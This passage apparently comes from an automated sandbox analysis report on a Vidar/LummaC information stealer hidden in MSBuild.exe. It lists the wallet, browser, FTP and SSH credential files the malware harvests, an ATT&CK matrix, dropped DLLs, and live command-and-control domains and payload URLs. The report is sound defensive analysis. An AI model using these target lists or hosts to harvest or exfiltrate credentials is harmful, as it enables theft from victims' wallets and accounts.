Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000F48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7304, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 6.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.KJEHJKJEBG.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2443146862.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.afcae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.afcae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.ad0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7304, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C600C40 sqlite3_bind_zeroblob,	1_2_6C600C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C600D60 sqlite3_bind_parameter_name,	1_2_6C600D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C528EA0 sqlite3_clear_bindings,	1_2_6C528EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C600B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	1_2_6C600B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C526410 bind,WSAGetLastError,	1_2_6C526410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	511 Process Injection	3 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	55 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	151 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	511 Process Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	34%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	100%	Joe Sandbox ML
C:\ProgramData\KJEHJKJEBG.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199780418869	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://store.steampowered.com/account/cookiepreferences/	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/badges	100%	URL Reputation	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	true	unknown
cowod.hopto.org	45.132.206.251	true	true	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
jask.powerforxes.shop	147.45.44.104	true	false	unknown
sergei-esenin.com	172.67.206.204	true	true	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
proxy.johnmccrea.com	141.98.233.156	true	true	unknown
bathdoomgaz.store	unknown	unknown	false	unknown
spirittunek.store	unknown	unknown	false	unknown
licendfilteo.site	unknown	unknown	true	unknown
studennotediw.store	unknown	unknown	false	unknown
mobbipenju.store	unknown	unknown	false	unknown
eaglepawnoy.store	unknown	unknown	false	unknown
clearancek.site	unknown	unknown	true	unknown
dissapoiznw.store	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://proxy.johnmccrea.com//vcruntime140.dll	true		unknown
studennotediw.stor	true		unknown
http://proxy.johnmccrea.com//softokn3.dll	true		unknown
http://proxy.johnmccrea.com//nss3.dll	true		unknown
http://proxy.johnmccrea.com//mozglue.dll	true		unknown
spirittunek.stor	true		unknown
https://steamcommunity.com/profiles/76561199780418869	true	URL Reputation: malware	unknown
http://proxy.johnmccrea.com//msvcp140.dll	true		unknown
eaglepawnoy.stor	true		unknown
clearancek.site	true		unknown
mobbipenju.stor	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
licendfilteo.site	true		unknown
http://cowod.hopto.org/	true		unknown
http://proxy.johnmccrea.com//sql.dll	true		unknown
http://proxy.johnmccrea.com/	true		unknown
http://proxy.johnmccrea.com//freebl3.dll	true		unknown
bathdoomgaz.stor	true		unknown
dissapoiznw.stor	true		unknown
https://sergei-esenin.com/api	true		unknown
http://jask.powerforxes.shop/ldms/a43486128347.exe	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	ECFHCG.1.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	HIJJDG.1.dr	false	URL Reputation: safe	unknown
http://proxy.johnmccrea.com/T	MSBuild.exe, 00000001.00000002.2755563230.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://proxy.johnmccrea.com/ontent-Disposition:	MSBuild.exe, 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	ECFHCG.1.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.org.com/data;	MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://bathdoomgaz.store:443/api	MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org	MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.000000000103A000.00000004.00000020.00020000.00000000.sdmp, ECBGIE.1.dr	false	URL Reputation: safe	unknown
https://sergei-esenin.com/	MSBuild.exe, 00000006.00000002.2444036075.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.KFIEBG	MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ECFHCG.1.dr	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2444097166.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://proxy.johnmccrea.com//sql.dllW	MSBuild.exe, 00000001.00000002.2755563230.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2444097166.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2759480099.00000000175EA000.00000004.00000020.00020000.00000000.sdmp, AKEBFC.1.dr	false	URL Reputation: safe	unknown
